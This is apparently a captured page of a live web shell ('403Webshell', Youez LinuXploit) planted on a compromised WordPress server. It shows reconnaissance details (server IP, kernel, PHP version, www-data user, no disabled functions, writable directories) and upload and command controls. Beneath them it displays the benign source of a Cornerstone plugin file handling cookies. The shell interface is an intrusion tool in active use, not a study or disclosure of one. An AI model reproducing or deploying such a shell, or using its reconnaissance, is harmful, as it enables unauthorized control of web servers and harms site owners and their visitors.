403Webshell
Server IP : 172.67.159.97  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/dynamiccontent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/dynamiccontent/cookies.php
<?php

// Register Connection DC
add_action('cs_dynamic_content_setup', function() {
  // Register group
  cornerstone_dynamic_content_register_group([
    'name'  => 'cookie',
    'label' => __( 'Cookie', CS_LOCALIZE ),
  ]);

  // Cookie Get
  cornerstone_dynamic_content_register_field([
    'name'  => 'get',
    'group' => 'cookie',
    'type' => 'scalar',
    'label' => __( 'Get', CS_LOCALIZE ),
    'deep' => true,
    'controls' => [
      // Name
      [
        'key' => 'name',
        'label' => __('Name', 'cornerstone'),
        'type' => 'text',
      ]
    ],
  ]);

  // Cookie Set
  cornerstone_dynamic_content_register_field([
    'name'  => 'set',
    'group' => 'cookie',
    'type' => 'scalar',
    'label' => __( 'Set', CS_LOCALIZE ),
    'deep' => true,
    'controls' => [
      // Name
      [
        'key' => 'name',
        'label' => __('Name', 'cornerstone'),
        'type' => 'text',
      ],

      // Value
      [
        'key' => 'value',
        'label' => __('Value', 'cornerstone'),
        'type' => 'text',
      ],

      // Expires
      cs_partial_controls('seconds-select', [
        'key' => 'expires',
        'label' => __('Expires', 'cornerstone'),
        'once' => false,
      ]),

      // Path
      [
        'key' => 'path',
        'label' => __('Path', 'cornerstone'),
        'type' => 'text',
        'options' => [
          'placeholder' => __('/', CS_LOCALIZE),
        ],
      ],

      // Domain
      [
        'key' => 'domain',
        'label' => __('Domain', 'cornerstone'),
        'type' => 'text',
      ],
    ],
  ]);

}, 220);

add_filter( 'cs_dynamic_content_cookie', function($result, $field, $args = []) {

  switch ($field) {
    case 'get':
      if (empty($args['name'])) {
        $result = $_COOKIE;
      } else {
        $result = cs_get_array_value($_COOKIE, $args['name'], '');
      }
      break;

    case 'set':
      $name = cs_get_array_value($args, 'name', '');
      $value = cs_get_array_value($args, 'value', '');
      $expires = cs_get_array_value($args, 'expires', 0);

      if (empty($expires)) {
        $expires = 0;
      } else {
        $expires = time() + $expires;
      }

      // Set cookie
      setcookie(
        $name,
        $value,
        $expires,
        cs_get_array_value($args, 'path', '/'),
        cs_get_array_value($args, 'domain', ''),
        cs_get_array_value($args, 'secure', false),
        cs_get_array_value($args, 'httponly', false)
      );

      // In case we use this cookie later
      $_COOKIE[$name] = $value;
      break;
  }

  return $result;

}, 10, 3 );

Youez - 2016 - github.com/yon3zu
LinuXploit